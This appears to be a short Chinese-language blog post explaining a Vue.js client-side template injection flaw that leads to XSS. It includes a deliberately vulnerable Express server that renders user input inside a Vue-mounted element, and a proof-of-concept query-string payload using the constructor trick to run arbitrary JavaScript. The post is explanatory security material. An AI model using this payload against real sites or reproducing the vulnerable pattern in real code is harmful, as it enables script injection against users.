我是靠谱客的博主 风趣草丛,这篇文章主要介绍Vue.js 客户端模板注入漏洞,现在分享给大家,希望可以做个参考。

漏洞详情

由于程序员代码编写不当,将导致用户输入的数据,可以改变客户端模版的执行逻辑,从而造成XSS漏洞。

漏洞影响

漏洞分析

漏洞编写模板如下:

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require('express'); const helmet = require('helmet'); const escapeHTML = require('escape-html'); const app = express(); app.use(helmet()); app.get('/', (req, res) => { res.set('Content-Type', 'text/html'); const name = req.query.name res.status(200).send(`<!DOCTYPE html> <html> <body> <div id="app"> <h1>Hello ?name=${escapeHTML(name)}</h1> </div> <footer> <a href="https://github.com/azu/vue-client-side-template-injection-example">Source Code</a> </footer> <script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script> <script> new Vue({ el: '#app' }); </script> </body> </html>`); }); module.exports = app;

漏洞利用

POC:

hxxp://host/?name={{this.constructor.constructor('alert(document.domain)')()}}

image.png

参考:

https://github.com/azu/vue-client-side-template-injection-example

 

 

最后

以上就是风趣草丛最近收集整理的关于Vue.js 客户端模板注入漏洞的全部内容,更多相关Vue.js内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(52)

评论列表共有 0 条评论

立即
投稿
返回
顶部